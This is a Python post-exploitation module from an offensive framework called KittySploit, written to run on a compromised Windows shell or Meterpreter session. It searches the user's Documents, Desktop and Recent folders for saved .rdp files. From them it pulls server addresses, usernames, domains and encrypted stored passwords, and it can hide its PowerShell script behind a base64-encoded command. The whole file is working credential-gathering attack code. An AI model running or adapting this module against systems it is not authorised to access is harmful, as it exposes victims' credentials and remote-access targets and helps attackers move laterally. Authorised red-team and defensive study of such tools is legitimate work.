Windows Gather RDP Files
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Enumerate and parse saved .rdp client files on a Windows session.
"""
from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time
_LOCAL_OUT = "output"
class Module(Post):
__info__ = {
"name": "Windows Gather RDP Files",
"description": (
"Find and parse saved Remote Desktop (.rdp) files in common user "
"locations on a Windows shell or Meterpreter session."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1021.001/"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
save_local = OptBool(True, "Save results under ./output", False)
prefer_powershell = OptBool(
False,
"Prefer PowerShell when available (default: dir/type via cmd)",
False,
True,
)
def _execute_cmd(self, command: str) -> str:
if not command:
return ""
output = self.cmd_execute(command)
return output.strip() if output else ""
def _encode_powershell(self, script: str) -> str:
return base64.b64encode(script.encode("utf-16le")).decode("ascii")
def _run_powershell(self, script: str) -> str:
encoded = self._encode_powershell(script)
return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")
def _bool_opt(self, val, default=False) -> bool:
if val is None:
return default
if isinstance(val, bool):
return val
return str(val).strip().lower() in ("1", "true", "yes", "on")
def _powershell_script(self) -> str:
return r"""
$searchDirs = @(
(Join-Path $env:USERPROFILE 'Documents'),
(Join-Path $env:USERPROFILE 'Desktop'),
(Join-Path $env:APPDATA 'Microsoft\Windows\Recent')
) | Where-Object { Test-Path -LiteralPath $_ }
$rdpFiles = New-Object System.Collections.Generic.List[string]
foreach ($dir in $searchDirs) {
Get-ChildItem -LiteralPath $dir -Filter '*.rdp' -File -Recurse -Depth 2 -ErrorAction SilentlyContinue |
ForEach-Object { $rdpFiles.Add($_.FullName) }
}
$defaultRdp = Join-Path $env:USERPROFILE 'Documents\Default.rdp'
if ((Test-Path -LiteralPath $defaultRdp) -and ($rdpFiles -notcontains $defaultRdp)) {
$rdpFiles.Add($defaultRdp)
}
$rdpFiles = $rdpFiles | Select-Object -Unique
if ($rdpFiles.Count -eq 0) {
Write-Output 'No .rdp files found in common user locations.'
return
}
$interesting = @(
'full address:s:',
'username:s:',
'domain:s:',
'alternate shell:s:',
'drivestoredirect:s:',
'redirectclipboard:i:',
'redirectprinters:i:',
'authentication level:i:',
'prompt for credentials:i:',
'password 51:b:'
)
$sections = New-Object System.Collections.Generic.List[string]
foreach ($file in $rdpFiles) {
$lines = Get-Content -LiteralPath $file -ErrorAction SilentlyContinue
$picked = $lines | Where-Object {
$line = $_.Trim().ToLower()
foreach ($key in $interesting) {
if ($line.StartsWith($key)) { return $true }
}
$false
}
if (-not $picked) {
$picked = $lines | Select-Object -First 25
}
$hasPwd = $lines | Where-Object { $_.Trim().ToLower().StartsWith('password 51:b:') }
$note = if ($hasPwd) { "`n(note: embedded password is DPAPI/CredSSP encrypted)" } else { '' }
$sections.Add("=== $file ===`n$($picked -join "`n")$note")
}
$sections -join "`n`n"
"""
def check(self):
return True
def _extract_via_cmd(self) -> str:
search_globs = (
r"%USERPROFILE%\Documents\*.rdp",
r"%USERPROFILE%\Desktop\*.rdp",
r"%USERPROFILE%\Documents\Default.rdp",
r"%APPDATA%\Microsoft\Windows\Recent\*.rdp",
)
found = []
seen = set()
for pattern in search_globs:
listing = self._execute_cmd(f'dir /b /s "{pattern}" 2>nul')
if not listing:
# Default.rdp may not recurse; try exist
if "*" not in pattern:
exists = self._execute_cmd(
f'if exist "{pattern}" (echo {pattern}) else (echo MISSING)'
)
if exists and "MISSING" not in exists:
listing = pattern
for line in (listing or "").splitlines():
path = line.strip()
if not path or not path.lower().endswith(".rdp"):
continue
key = path.lower()
if key in seen:
continue
seen.add(key)
found.append(path)
if not found:
return "No .rdp files found in common user locations."
interesting = (
"full address:s:",
"username:s:",
"domain:s:",
"alternate shell:s:",
"drivestoredirect:s:",
"redirectclipboard:i:",
"redirectprinters:i:",
"authentication level:i:",
"prompt for credentials:i:",
"password 51:b:",
)
sections = []
for path in found:
content = self._execute_cmd(f'type "{path}"')
lines = (content or "").splitlines()
picked = []
has_pwd = False
for line in lines:
low = line.strip().lower()
if low.startswith("password 51:b:"):
has_pwd = True
if any(low.startswith(k) for k in interesting):
picked.append(line.rstrip())
if not picked:
picked = [l.rstrip() for l in lines[:25]]
note = (
"\n(note: embedded password is DPAPI/CredSSP encrypted)"
if has_pwd
else ""
)
sections.append(f"=== {path} ===\n" + "\n".join(picked) + note)
return "\n\n".join(sections)
def _save_output(self, content: str) -> str:
os.makedirs(_LOCAL_OUT, exist_ok=True)
stamp = time.strftime("%Y%m%d_%H%M%S")
local_path = os.path.join(_LOCAL_OUT, f"rdp_files_{stamp}.txt")
with open(local_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
return local_path
def run(self):
if not self.check():
raise ProcedureError(win_compat_failure_type(), "RDP dump prerequisites not met")
print_status("Searching saved .rdp files...")
use_ps = self._bool_opt(self.prefer_powershell, False) and win_probe_powershell(self._execute_cmd)
if use_ps:
print_info("Using PowerShell")
result = self._run_powershell(self._powershell_script())
else:
if self._bool_opt(self.prefer_powershell, False):
print_warning("PowerShell preferred but not available — falling back to dir/type")
result = self._extract_via_cmd()
if not result:
raise ProcedureError(FailureType.Unknown, "No output was returned")
if re.search(r"No \.rdp files found", result, re.I):
print_warning(result)
return True
if self._bool_opt(self.save_local, True):
local_path = self._save_output(result + "\n")
print_success(f"Results saved to ./{local_path}")
print_success("RDP file extraction completed")
print_info(result)
return True
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